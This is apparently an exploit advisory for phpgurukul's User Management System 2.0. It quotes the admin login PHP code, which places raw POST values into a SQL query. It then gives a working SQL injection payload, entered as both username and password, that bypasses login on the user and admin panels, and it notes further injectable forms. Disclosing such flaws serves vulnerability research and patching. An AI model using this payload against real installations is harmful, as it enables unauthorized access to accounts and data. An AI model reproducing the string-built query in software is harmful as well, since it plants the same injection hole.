User Management System 2.0 - Authentication Bypass

# Exploit Title: User Management System 2.0 - Authentication Bypass
# Author: Besim ALTINOK
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Version: v2.0
# Tested on: Xampp
# Credit: İsmail BOZKURT


------ Details:

1- Vulnerable code is here (admin login: /admin/index.php):

<?php
session_start();
include("dbconnection.php");
if(isset($_POST['login']))
{
  $adminusername=$_POST['username'];
  $pass=md5($_POST['password']);
  $ret=mysqli_query($con,"SELECT * FROM admin WHERE
username='$adminusername' and password='$pass'");
  $num=mysqli_fetch_array($ret);
if($num>0)
{
   $extra="manage-users.php";
   $_SESSION['login']=$_POST['username'];
   $_SESSION['id']=$num['id'];
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
    $_SESSION['action1']="*Invalid username or password";
   $extra="index.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}

2-  We can bypass authentication with SQLi:

Bypass code (user and admin login panel):

Username: pentester' or'1'=1#
Password : pentester' or'1'=1#

Finally: There is a lot of SQLi input in this project. Like, login,
registration, forgot password ...